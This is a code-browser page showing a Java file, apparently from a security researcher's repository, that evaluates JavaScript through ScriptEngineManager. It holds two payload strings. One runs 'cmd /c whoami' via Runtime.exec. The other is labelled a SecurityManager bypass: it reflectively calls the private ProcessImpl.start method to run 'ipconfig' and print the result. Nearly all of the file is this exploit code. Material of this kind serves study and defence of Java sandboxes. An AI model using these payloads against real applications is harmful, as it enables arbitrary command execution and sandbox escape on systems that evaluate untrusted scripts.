MCPcopy Create free account
hub / github.com/Firebasky/Java / main

Method main

shell/ScriptEngineManager/main.java:5–37  ·  view source on GitHub ↗
(String[] args)

Source from the content-addressed store, hash-verified

3
4public class main {
5 public static void main(String[] args) throws Exception {
6 String poc1 = "var s = [3];\n" +
7 "s[0] = \"cmd\";\n" +
8 "s[1] = \"/c\";\n" +
9 "s[2] = \"whoami\";" +
10 "var p = java.lang.Runtime.getRuntime().exec(s);\n" +
11 "var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\n" +
12 "var result = sc.hasNext() ? sc.next() : \"\";\n" +
13 "print(result);sc.close();";
14
15 String bypass_sm_exp = "var str = Java.type('java.lang.String[]').class;" +
16 "var map = Java.type('java.util.Map').class;" +
17 "var string = Java.type('java.lang.String').class;" +
18 "var Redirect = Java.type('java.lang.ProcessBuilder.Redirect[]').class;" +
19 "var boolean = Java.type('boolean').class;" +
20 "var c = java.lang.Class.forName('java.lang.ProcessImpl');" +
21 "var start = c.getDeclaredMethod('start',str,map,string,Redirect,boolean);" +
22 "start.setAccessible(true);" +
23 "var anArray = [\"cmd\", \"/c\", \"ipconfig\"];" +
24 "var cmd = Java.to(anArray, Java.type(\"java.lang.String[]\"));" +
25 "var input = start.invoke(null,cmd,null,null,null,false).getInputStream();" +
26 "var reader = new java.io.BufferedReader(new java.io.InputStreamReader(input));" +
27 "var stringBuilder = new java.lang.StringBuilder();" +
28 "var line = null;" +
29 "while((line = reader.readLine())!=null){" +
30 "stringBuilder.append(line);" +
31 "stringBuilder.append('\\r\\n');"+
32 "}" +
33 "stringBuilder.toString();" +
34 "print(stringBuilder)";
35 ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
36 engine.eval(bypass_sm_exp);
37 }
38
39}

Callers

nothing calls this directly

Calls 1

evalMethod · 0.80

Tested by

no test coverage detected